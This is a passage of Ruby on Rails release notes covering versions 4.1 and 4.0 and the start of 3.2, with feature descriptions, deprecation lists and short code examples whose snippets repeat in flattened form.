- Object#try and Object#try! can now be used without an explicit receiver in the block. (Commit, Pull Request)

- The travel_to test helper now truncates the usec component to 0. (Commit)

- Introduced Object#itself as an identity function. (Commit 1, 2)

- Object#with_options can now be used without an explicit receiver in the block. (Pull Request)

- Introduced String#truncate_words to truncate a string by a number of words. (Pull Request)

- Added Hash#transform_values and Hash#transform_values! to simplify a common pattern where the values of a hash must change, but the keys are left the same. (Pull Request)

- The humanize inflector helper now strips any leading underscores. (Commit)

- Introduced Concern#class_methods as an alternative to module ClassMethods, as well as Kernel#concern to avoid the module Foo; extend ActiveSupport::Concern; end boilerplate. (Commit)

- New guide about constant autoloading and reloading.

11 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails the stable and robust framework it is today. Kudos to all of them.

Ruby on Rails 4.1 Release Notes — Ruby...

1 Upgrading to Rails 4.1

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 4.0 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.1. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Spring Application Preloader

Spring is a Rails application preloader. It speeds up development by keeping your application running in the background so you don't need to boot it every time you run a test, rake task or migration.

New Rails 4.1 applications will ship with "springified" binstubs. This means that bin/rails and bin/rake will automatically take advantage of preloaded spring environments.

Running rake tasks:

$ bin/rake test:models

bin/rake test:models Copiar

Running a Rails command:

$ bin/rails console

bin/rails console Copiar

Spring introspection:

$ bin/spring status
Spring is running:

1182 spring server | my_app | started 29 mins ago
3656 spring app    | my_app | started 23 secs ago | test mode
3746 spring app    | my_app | started 10 secs ago | development mode

bin/spring status Copiar

Have a look at the Spring README to see all available features.

See the Upgrading Ruby on Rails guide on how to migrate existing applications to use this feature.

2.2 config/secrets.yml

Rails 4.1 generates a new secrets.yml file in the config folder. By default, this file contains the application's secret_key_base, but it could also be used to store other secrets such as access keys for external APIs.

The secrets added to this file are accessible via Rails.application.secrets. For example, with the following config/secrets.yml:

development:
secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
some_api_key: SOMEKEY

development: secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 some_api_key: SOMEKEY Copiar

Rails.application.secrets.some_api_key returns SOMEKEY in the development environment.

See the Upgrading Ruby on Rails guide on how to migrate existing applications to use this feature.

2.3 Action Pack Variants

We often want to render different HTML/JSON/XML templates for phones, tablets, and desktop browsers. Variants make it easy.

The request variant is a specialization of the request format, like :tablet, :phone, or :desktop.

You can set the variant in a before_action:

request.variant = :tablet if request.user_agent =~ /iPad/

request.variant = :tablet if request.user_agent =~ /iPad/ Copiar

Respond to variants in the action just like you respond to formats:

respond_to do |format|
format.html do |html|
html.tablet # renders app/views/projects/show.html+tablet.erb
html.phone { extra_setup; render ... }
end
end

respond_to do |format| format.html do |html| html.tablet # renders app/views/projects/show.html+tablet.erb html.phone { extra_setup; render ... } end end Copiar

Provide separate templates for each format and variant:

app/views/projects/show.html.erb
app/views/projects/show.html+tablet.erb
app/views/projects/show.html+phone.erb

app/views/projects/show.html.erb app/views/projects/show.html+tablet.erb app/views/projects/show.html+phone.erb Copiar

You can also simplify the variants definition using the inline syntax:

respond_to do |format|
format.js         { render "trash" }
format.html.phone { redirect_to progress_path }
format.html.none  { render "trash" }
end

respond_to do |format| format.js { render "trash" } format.html.phone { redirect_to progress_path } format.html.none { render "trash" } end Copiar

2.4 Action Mailer Previews

Action Mailer previews provide a way to see how emails look by visiting a special URL that renders them.

You implement a preview class whose methods return the mail object you'd like to check:

class NotifierPreview < ActionMailer::Preview
def welcome
Notifier.welcome(User.first)
end
end

class NotifierPreview < ActionMailer::Preview def welcome Notifier.welcome(User.first) end end Copiar

The preview is available in http://localhost:3000/rails/mailers/notifier/welcome, and a list of them in http://localhost:3000/rails/mailers.

By default, these preview classes live in test/mailers/previews. This can be configured using the preview_path option.

See its documentation for a detailed write up.

2.5 Active Record enums

Declare an enum attribute where the values map to integers in the database, but can be queried by name.

class Conversation < ActiveRecord::Base
enum status: [ :active, :archived ]
end

conversation.archived!
conversation.active? # => false
conversation.status  # => "archived"

Conversation.archived # => Relation for all archived Conversations

Conversation.statuses # => { "active" => 0, "archived" => 1 }

class Conversation < ActiveRecord::Base enum status: [ :active, :archived ] end conversation.archived! conversation.active? # => false conversation.status # => "archived" Conversation.archived # => Relation for all archived Conversations Conversation.statuses # => { "active" => 0, "archived" => 1 } Copiar

See its documentation for a detailed write up.

2.6 Message Verifiers

Message verifiers can be used to generate and verify signed messages. This can be useful to safely transport sensitive data like remember-me tokens and friends.

The method Rails.application.message_verifier returns a new message verifier that signs messages with a key derived from secret_key_base and the given message verifier name:

signed_token = Rails.application.message_verifier(:remember_me).generate(token)
Rails.application.message_verifier(:remember_me).verify(signed_token) # => token

Rails.application.message_verifier(:remember_me).verify(tampered_token)
# raises ActiveSupport::MessageVerifier::InvalidSignature

signed_token = Rails.application.message_verifier(:remember_me).generate(token) Rails.application.message_verifier(:remember_me).verify(signed_token) # => token Rails.application.message_verifier(:remember_me).verify(tampered_token) # raises ActiveSupport::MessageVerifier::InvalidSignature Copiar

2.7 Module#concerning

A natural, low-ceremony way to separate responsibilities within a class:

class Todo < ActiveRecord::Base
concerning :EventTracking do
included do
has_many :events
end

def latest_event
# ...
end

private
def some_internal_method
# ...
end
end
end

class Todo < ActiveRecord::Base concerning :EventTracking do included do has_many :events end def latest_event # ... end private def some_internal_method # ... end end end Copiar

This example is equivalent to defining a EventTracking module inline, extending it with ActiveSupport::Concern, then mixing it in to the Todo class.

See its documentation for a detailed write up and the intended use cases.

2.8 CSRF protection from remote <script> tags

Cross-site request forgery (CSRF) protection now covers GET requests with JavaScript responses, too. That prevents a third-party site from referencing your JavaScript URL and attempting to run it to extract sensitive data.

This means any of your tests that hit .js URLs will now fail CSRF protection unless they use xhr. Upgrade your tests to be explicit about expecting XmlHttpRequests. Instead of post :create, format: :js, switch to the explicit xhr :post, :create, format: :js.

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Removals

- Removed update:application_controller rake task.

- Removed deprecated Rails.application.railties.engines.

- Removed deprecated threadsafe! from Rails Config.

- Removed deprecated ActiveRecord::Generators::ActiveModel#update_attributes in favor of ActiveRecord::Generators::ActiveModel#update.

- Removed deprecated config.whiny_nils option.

- Removed deprecated rake tasks for running tests: rake test:uncommitted and rake test:recent.

3.2 Notable changes

- The Spring application preloader is now installed by default for new applications. It uses the development group of the Gemfile, so will not be installed in production. (Pull Request)

- BACKTRACE environment variable to show unfiltered backtraces for test failures. (Commit)

- Exposed MiddlewareStack#unshift to environment configuration. (Pull Request)

- Added Application#message_verifier method to return a message verifier. (Pull Request)

- The test_help.rb file which is required by the default generated test helper will automatically keep your test database up-to-date with db/schema.rb (or db/structure.sql). It raises an error if reloading the schema does not resolve all pending migrations. Opt out with config.active_record.maintain_test_schema = false. (Pull Request)

- Introduce Rails.gem_version as a convenience method to return Gem::Version.new(Rails.version), suggesting a more reliable way to perform version comparison. (Pull Request)

4 Action Pack

Please refer to the Changelog for detailed changes.

4.1 Removals

- Removed deprecated Rails application fallback for integration testing, set ActionDispatch.test_app instead.

- Removed deprecated page_cache_extension config.

- Removed deprecated ActionController::RecordIdentifier, use ActionView::RecordIdentifier instead.

- Removed deprecated constants from Action Controller:

Removed

Successor

ActionController::AbstractRequest

ActionDispatch::Request

ActionController::Request

ActionDispatch::Request

ActionController::AbstractResponse

ActionDispatch::Response

ActionController::Response

ActionDispatch::Response

ActionController::Routing

ActionDispatch::Routing

ActionController::Integration

ActionDispatch::Integration

ActionController::IntegrationTest

ActionDispatch::IntegrationTest

4.2 Notable changes

- protect_from_forgery also prevents cross-origin <script> tags. Update your tests to use xhr :get, :foo, format: :js instead of get :foo, format: :js. (Pull Request)

- #url_for takes a hash with options inside an array. (Pull Request)

- Added session#fetch method fetch behaves similarly to Hash#fetch, with the exception that the returned value is always saved into the session. (Pull Request)

- Separated Action View completely from Action Pack. (Pull Request)

- Log which keys were affected by deep munge. (Pull Request)

- New config option config.action_dispatch.perform_deep_munge to opt out of params "deep munging" that was used to address security vulnerability CVE-2013-0155. (Pull Request)

- New config option config.action_dispatch.cookies_serializer for specifying a serializer for the signed and encrypted cookie jars. (Pull Requests 1, 2 / More Details)

- Added render :plain, render :html and render :body. (Pull Request / More Details)

5 Action Mailer

Please refer to the Changelog for detailed changes.

5.1 Notable changes

- Added mailer previews feature based on 37 Signals mail_view gem. (Commit)

- Instrument the generation of Action Mailer messages. The time it takes to generate a message is written to the log. (Pull Request)

6 Active Record

Please refer to the Changelog for detailed changes.

6.1 Removals

- Removed deprecated nil-passing to the following SchemaCache methods: primary_keys, tables, columns and columns_hash.

- Removed deprecated block filter from ActiveRecord::Migrator#migrate.

- Removed deprecated String constructor from ActiveRecord::Migrator.

- Removed deprecated scope use without passing a callable object.

- Removed deprecated transaction_joinable= in favor of begin_transaction with a :joinable option.

- Removed deprecated decrement_open_transactions.

- Removed deprecated increment_open_transactions.

- Removed deprecated PostgreSQLAdapter#outside_transaction? method. You can use #transaction_open? instead.

- Removed deprecated ActiveRecord::Fixtures.find_table_name in favor of ActiveRecord::Fixtures.default_fixture_model_name.

- Removed deprecated columns_for_remove from SchemaStatements.

- Removed deprecated SchemaStatements#distinct.

- Moved deprecated ActiveRecord::TestCase into the Rails test suite. The class is no longer public and is only used for internal Rails tests.

- Removed support for deprecated option :restrict for :dependent in associations.

- Removed support for deprecated :delete_sql, :insert_sql, :finder_sql and :counter_sql options in associations.

- Removed deprecated method type_cast_code from Column.

- Removed deprecated ActiveRecord::Base#connection method. Make sure to access it via the class.

- Removed deprecation warning for auto_explain_threshold_in_seconds.

- Removed deprecated :distinct option from Relation#count.

- Removed deprecated methods partial_updates, partial_updates? and partial_updates=.

- Removed deprecated method scoped.

- Removed deprecated method default_scopes?.

- Remove implicit join references that were deprecated in 4.0.

- Removed activerecord-deprecated_finders as a dependency. Please see the gem README for more info.

- Removed usage of implicit_readonly. Please use readonly method explicitly to mark records as readonly. (Pull Request)

6.2 Deprecations

- Deprecated quoted_locking_column method, which isn't used anywhere.

- Deprecated ConnectionAdapters::SchemaStatements#distinct, as it is no longer used by internals. (Pull Request)

- Deprecated rake db:test:* tasks as the test database is now automatically maintained. See railties release notes. (Pull Request)

- Deprecate unused ActiveRecord::Base.symbolized_base_class and ActiveRecord::Base.symbolized_sti_name without replacement. Commit

6.3 Notable changes

- Default scopes are no longer overridden by chained conditions.

Before this change when you defined a default_scope in a model it was overridden by chained conditions in the same field. Now it is merged like any other scope. More Details.

- Added ActiveRecord::Base.to_param for convenient "pretty" URLs derived from a model's attribute or method. (Pull Request)

- Added ActiveRecord::Base.no_touching, which allows ignoring touch on models. (Pull Request)

- Unify boolean type casting for MysqlAdapter and Mysql2Adapter. type_cast will return 1 for true and 0 for false. (Pull Request)

- .unscope now removes conditions specified in default_scope. (Commit)

- Added ActiveRecord::QueryMethods#rewhere which will overwrite an existing, named where condition. (Commit)

- Extended ActiveRecord::Base#cache_key to take an optional list of timestamp attributes of which the highest will be used. (Commit)

- Added ActiveRecord::Base#enum for declaring enum attributes where the values map to integers in the database, but can be queried by name. (Commit)

- Type cast json values on write, so that the value is consistent with reading from the database. (Pull Request)

- Type cast hstore values on write, so that the value is consistent with reading from the database. (Commit)

- Make next_migration_number accessible for third party generators. (Pull Request)

- Calling update_attributes will now throw an ArgumentError whenever it gets a nil argument. More specifically, it will throw an error if the argument that it gets passed does not respond to to stringify_keys. (Pull Request)

- CollectionAssociation#first/#last (e.g. has_many) use a LIMITed query to fetch results rather than loading the entire collection. (Pull Request)

- inspect on Active Record model classes does not initiate a new connection. This means that calling inspect, when the database is missing, will no longer raise an exception. (Pull Request)

- Removed column restrictions for count, let the database raise if the SQL is invalid. (Pull Request)

- Rails now automatically detects inverse associations. If you do not set the :inverse_of option on the association, then Active Record will guess the inverse association based on heuristics. (Pull Request)

- Handle aliased attributes in ActiveRecord::Relation. When using symbol keys, ActiveRecord will now translate aliased attribute names to the actual column name used in the database. (Pull Request)

- The ERB in fixture files is no longer evaluated in the context of the main object. Helper methods used by multiple fixtures should be defined on modules included in ActiveRecord::FixtureSet.context_class. (Pull Request)

- Don't create or drop the test database if RAILS_ENV is specified explicitly. (Pull Request)

- Relation no longer has mutator methods like #map! and #delete_if. Convert to an Array by calling #to_a before using these methods. (Pull Request)

- find_in_batches, find_each, Result#each and Enumerable#index_by now return an Enumerator that can calculate its size. (Pull Request)

- scope, enum and Associations now raise on "dangerous" name conflicts. (Pull Request, Pull Request)

- second through fifth methods act like the first finder. (Pull Request)

- Make touch fire the after_commit and after_rollback callbacks. (Pull Request)

- Enable partial indexes for sqlite >= 3.8.0. (Pull Request)

- Make change_column_null revertible. (Commit)

- Added a flag to disable schema dump after migration. This is set to false by default in the production environment for new applications. (Pull Request)

7 Active Model

Please refer to the Changelog for detailed changes.

7.1 Deprecations

- Deprecate Validator#setup. This should be done manually now in the validator's constructor. (Commit)

7.2 Notable changes

- Added new API methods reset_changes and changes_applied to ActiveModel::Dirty that control changes state.

- Ability to specify multiple contexts when defining a validation. (Pull Request)

- attribute_changed? now accepts a hash to check if the attribute was changed :from and/or :to a given value. (Pull Request)

8 Active Support

Please refer to the Changelog for detailed changes.

8.1 Removals

- Removed MultiJSON dependency. As a result, ActiveSupport::JSON.decode no longer accepts an options hash for MultiJSON. (Pull Request / More Details)

- Removed support for the encode_json hook used for encoding custom objects into JSON. This feature has been extracted into the activesupport-json_encoder gem. (Related Pull Request / More Details)

- Removed deprecated ActiveSupport::JSON::Variable with no replacement.

- Removed deprecated String#encoding_aware? core extensions (core_ext/string/encoding).

- Removed deprecated Module#local_constant_names in favor of Module#local_constants.

- Removed deprecated DateTime.local_offset in favor of DateTime.civil_from_format.

- Removed deprecated Logger core extensions (core_ext/logger.rb).

- Removed deprecated Time#time_with_datetime_fallback, Time#utc_time and Time#local_time in favor of Time#utc and Time#local.

- Removed deprecated Hash#diff with no replacement.

- Removed deprecated Date#to_time_in_current_zone in favor of Date#in_time_zone.

- Removed deprecated Proc#bind with no replacement.

- Removed deprecated Array#uniq_by and Array#uniq_by!, use native Array#uniq and Array#uniq! instead.

- Removed deprecated ActiveSupport::BasicObject, use ActiveSupport::ProxyObject instead.

- Removed deprecated BufferedLogger, use ActiveSupport::Logger instead.

- Removed deprecated assert_present and assert_blank methods, use assert object.blank? and assert object.present? instead.

- Remove deprecated #filter method for filter objects, use the corresponding method instead (e.g. #before for a before filter).

- Removed 'cow' => 'kine' irregular inflection from default inflections. (Commit)

8.2 Deprecations

- Deprecated Numeric#{ago,until,since,from_now}, the user is expected to explicitly convert the value into an AS::Duration, i.e. 5.ago => 5.seconds.ago (Pull Request)

- Deprecated the require path active_support/core_ext/object/to_json. Require active_support/core_ext/object/json instead. (Pull Request)

- Deprecated ActiveSupport::JSON::Encoding::CircularReferenceError. This feature has been extracted into the activesupport-json_encoder gem. (Pull Request / More Details)

- Deprecated ActiveSupport.encode_big_decimal_as_string option. This feature has been extracted into the activesupport-json_encoder gem. (Pull Request / More Details)

- Deprecate custom BigDecimal serialization. (Pull Request)

8.3 Notable changes

- ActiveSupport's JSON encoder has been rewritten to take advantage of the JSON gem rather than doing custom encoding in pure-Ruby. (Pull Request / More Details)

- Improved compatibility with the JSON gem. (Pull Request / More Details)

- Added ActiveSupport::Testing::TimeHelpers#travel and #travel_to. These methods change current time to the given time or duration by stubbing Time.now and Date.today.

- Added ActiveSupport::Testing::TimeHelpers#travel_back. This method returns the current time to the original state, by removing the stubs added by travel and travel_to. (Pull Request)

- Added Numeric#in_milliseconds, like 1.hour.in_milliseconds, so we can feed them to JavaScript functions like getTime(). (Commit)

- Added Date#middle_of_day, DateTime#middle_of_day and Time#middle_of_day methods. Also added midday, noon, at_midday, at_noon and at_middle_of_day as aliases. (Pull Request)

- Added Date#all_week/month/quarter/year for generating date ranges. (Pull Request)

- Added Time.zone.yesterday and Time.zone.tomorrow. (Pull Request)

- Added String#remove(pattern) as a short-hand for the common pattern of String#gsub(pattern,''). (Commit)

- Added Hash#compact and Hash#compact! for removing items with nil value from hash. (Pull Request)

- blank? and present? commit to return singletons. (Commit)

- Default the new I18n.enforce_available_locales config to true, meaning I18n will make sure that all locales passed to it must be declared in the available_locales list. (Pull Request)

- Introduce Module#concerning: a natural, low-ceremony way to separate responsibilities within a class. (Commit)

- Added Object#presence_in to simplify adding values to a permitted list. (Commit)

9 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 4.0 Release Notes — Ruby...

1 Upgrading to Rails 4.0

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Creating a Rails 4.0 application

# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

rails new myapp cd myapp Copiar

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: Bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

$ rails new myapp --edge

rails new myapp --edge Copiar

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

$ ruby /path/to/rails/railties/bin/rails new myapp --dev

ruby /path/to/rails/railties/bin/rails new myapp --dev Copiar

3 Major Features

3.1 Upgrade

- Ruby 1.9.3 (commit) - Ruby 2.0 preferred; 1.9.3+ required

- New deprecation policy - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.

- ActionPack page and action caching (commit) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching.

- ActiveRecord observers (commit) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code.

- ActiveRecord session store (commit) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store.

- ActiveModel mass assignment protection (commit) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters.

- ActiveResource (commit) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used.

- vendor/plugins removed (commit) - Use a Gemfile to manage installed gems.

3.2 ActionPack

- Strong parameters (commit) - Only allow permitted parameters to update model objects (params.permit(:title, :text)).

- Routing concerns (commit) - In the routing DSL, factor out common subroutes (comments from /posts/1/comments and /videos/1/comments).

- ActionController::Live (commit) - Stream JSON with response.stream.

- Declarative ETags (commit) - Add controller-level etag additions that will be part of the action etag computation.

- Russian doll caching (commit) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object.

- Turbolinks (commit) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body.

- Decouple ActionView from ActionController (commit) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1.

- Do not depend on ActiveModel (commit) - ActionPack no longer depends on ActiveModel.

3.3 General

- ActiveModel::Model (commit) - ActiveModel::Model, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for form_for)

- New scope API (commit) - Scopes must always use callables.

- Schema cache dump (commit) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file.

- Support for specifying transaction isolation level (commit) - Choose whether repeatable reads or improved performance (less locking) is more important.

- Dalli (commit) - Use Dalli memcache client for the memcache store.

- Notifications start & finish (commit) - Active Support instrumentation reports start and finish notifications to subscribers.

- Thread safe by default (commit) - Rails can run in threaded app servers without additional configuration.

Check that the gems you are using are threadsafe.

- PATCH verb (commit) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources.

3.4 Security

- match do not catch all (commit) - In the routing DSL, match requires the HTTP verb or verbs to be specified.

- html entities escaped by default (commit) - Strings rendered in erb are escaped unless wrapped with raw or html_safe is called.

- New security headers (commit) - Rails sends the following headers with every HTTP request: X-Frame-Options (prevents clickjacking by forbidding the browser from embedding the page in a frame), X-XSS-Protection (asks the browser to halt script injection) and X-Content-Type-Options (prevents the browser from opening a jpeg as an exe).

4 Extraction of features to gems

In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your Gemfile to bring the functionality back.

- Hash-based & Dynamic finder methods (GitHub)

- Mass assignment protection in Active Record models (GitHub, Pull Request)

- ActiveRecord::SessionStore (GitHub, Pull Request)

- Active Record Observers (GitHub, Commit)

- Active Resource (GitHub, Pull Request, Blog)

- Action Caching (GitHub, Pull Request)

- Page Caching (GitHub, Pull Request)

- Sprockets (GitHub)

- Performance tests (GitHub, Pull Request)

5 Documentation

- Guides are rewritten in GitHub Flavored Markdown.

- Guides have a responsive design.

6 Railties

Please refer to the Changelog for detailed changes.

6.1 Notable changes

- New test locations test/models, test/helpers, test/controllers, and test/mailers. Corresponding rake tasks added as well. (Pull Request)

- Your app's executables now live in the bin/ directory. Run rake rails:update:bin to get bin/bundle, bin/rails, and bin/rake.

- Threadsafe on by default

- Ability to use a custom builder by passing --builder (or -b) to rails new has been removed. Consider using application templates instead. (Pull Request)

6.2 Deprecations

- config.threadsafe! is deprecated in favor of config.eager_load which provides a more fine grained control on what is eager loaded.

- Rails::Plugin has gone. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Notable changes

7.2 Deprecations

8 Active Model

Please refer to the Changelog for detailed changes.

8.1 Notable changes

- Add ActiveModel::ForbiddenAttributesProtection, a simple module to protect attributes from mass assignment when non-permitted attributes are passed.

- Added ActiveModel::Model, a mixin to make Ruby objects work with Action Pack out of box.

8.2 Deprecations

9 Active Support

Please refer to the Changelog for detailed changes.

9.1 Notable changes

- Replace deprecated memcache-client gem with dalli in ActiveSupport::Cache::MemCacheStore.

- Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead.

- Inflections can now be defined per locale. singularize and pluralize accept locale as an extra argument.

- Object#try will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new Object#try!.

- String#to_date now raises ArgumentError: invalid date instead of NoMethodError: undefined method 'div' for nil:NilClass when given an invalid date. It is now the same as Date.parse, and it accepts more invalid dates than 3.x, such as:

# ActiveSupport 3.x
"asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass
"333".to_date # => NoMethodError: undefined method `div' for nil:NilClass

# ActiveSupport 4
"asdf".to_date # => ArgumentError: invalid date
"333".to_date # => Fri, 29 Nov 2013

# ActiveSupport 3.x "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass # ActiveSupport 4 "asdf".to_date # => ArgumentError: invalid date "333".to_date # => Fri, 29 Nov 2013 Copiar

9.2 Deprecations

- Deprecate ActiveSupport::TestCase#pending method, use skip from minitest instead.

- ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.

- ActiveSupport::JSON::Variable is deprecated. Define your own #as_json and #encode_json methods for custom JSON string literals.

- Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols).

- BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby standard library.

- Deprecate assert_present and assert_blank in favor of assert object.blank? and assert object.present?

10 Action Pack

Please refer to the Changelog for detailed changes.

10.1 Notable changes

- Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages.

10.2 Deprecations

11 Active Record

Please refer to the Changelog for detailed changes.

11.1 Notable changes

- Improve ways to write change migrations, making the old up & down methods no longer necessary.

- The methods drop_table and remove_column are now reversible, as long as the necessary information is given. The method remove_column used to accept multiple column names; instead use remove_columns (which is not revertible). The method change_table is also reversible, as long as its block doesn't call remove, change or change_default

- New method reversible makes it possible to specify code to be run when migrating up or down. See the Guide on Migration

- New method revert will revert a whole migration or the given block. If migrating down, the given migration / block is run normally. See the Guide on Migration

- Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.

- Add Relation#load to explicitly load the record and return self.

- Model.all now returns an ActiveRecord::Relation, rather than an array of records. Use Relation#to_a if you really want an array. In some specific cases, this may cause breakage when upgrading.

- Added ActiveRecord::Migration.check_pending! that raises an error if migrations are pending.

- Added custom coders support for ActiveRecord::Store. Now you can set your custom coder like this:

store :settings, accessors: [ :color, :homepage ], coder: JSON

store :settings, accessors: [ :color, :homepage ], coder: JSON Copiar

- mysql and mysql2 connections will set SQL_MODE=STRICT_ALL_TABLES by default to avoid silent data loss. This can be disabled by specifying strict: false in your database.yml.

- Remove IdentityMap.

- Remove automatic execution of EXPLAIN queries. The option active_record.auto_explain_threshold_in_seconds is no longer used and should be removed.

- Adds ActiveRecord::NullRelation and ActiveRecord::Relation#none implementing the null object pattern for the Relation class.

- Added create_join_table migration helper to create HABTM join tables.

- Allows PostgreSQL hstore records to be created.

11.2 Deprecations

- Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do.

- All dynamic methods except for find_by_... and find_by_...! are deprecated. Here's how you can rewrite the code:

- find_all_by_... can be rewritten using where(...).

- find_last_by_... can be rewritten using where(...).last.

- scoped_by_... can be rewritten using where(...).

- find_or_initialize_by_... can be rewritten using find_or_initialize_by(...).

- find_or_create_by_... can be rewritten using find_or_create_by(...).

- find_or_create_by_...! can be rewritten using find_or_create_by!(...).

12 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 3.2 Release Notes — Ruby...

1 Upgrading to Rails 3.2

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:

1.1 Rails 3.2 requires at least Ruby 1.8.7

Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.

1.2 What to update in your apps

- Update your Gemfile to depend on

- rails = 3.2.0

- sass-rails ~> 3.2.3

- coffee-rails ~> 3.2.1

- uglifier >= 1.0.3

- Rails 3.2 deprecates vendor/plugins and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

- There are a couple of new configuration changes you'd want to add in config/environments/development.rb:

# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

# Log the query plan for queries taking more than this (works
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5

# Raise exception on mass assignment protection for Active Record models config.active_record.mass_assignment_sanitizer = :strict # Log the query plan for queries taking more than this (works # with SQLite, MySQL, and PostgreSQL) config.active_record.auto_explain_threshold_in_seconds = 0.5 Copiar
The mass_assignment_sanitizer config also needs to be added in config/environments/test.rb:

# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

# Raise exception on mass assignment protection for Active Record models config.active_record.mass_assignment_sanitizer = :strict Copiar

1.3 What to update in your engines

Replace the code beneath the comment in script/rails with the following content:

ENGINE_ROOT = File.expand_path('../..', __FILE__)
ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)

require "rails/all"
require "rails/engine/commands"

ENGINE_ROOT = File.expand_path('../..', __FILE__) ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__) require "rails/all" require "rails/engine/commands" Copiar

2 Creating a Rails 3.2 application

# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

rails new myapp cd myapp Copiar

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: Bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

$ rails new myapp --edge

rails new myapp --edge Copiar

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

$ ruby /path/to/rails/railties/bin/rails new myapp --dev

ruby /path/to/rails/railties/bin/rails new myapp --dev Copiar

3 Major Features

3.1 Faster Development Mode & Routing

Rails 3.2 comes with a development mode that's noticeably faster. Inspired by Active Reload, Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new Journey engine.

3.2 Automatic Query Explains

Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an explain method in ActiveRecord::Relation. For example, you can run something like puts Person.active.limit(5).explain and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations.

Queries that take more than half a second to run are automatically explained in the development mode. This threshold, of course, can be changed.

3.3 Tagged Logging

When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.

4 Documentation

From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.

5 Railties

- Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting config.reload_classes_only_on_change to false.

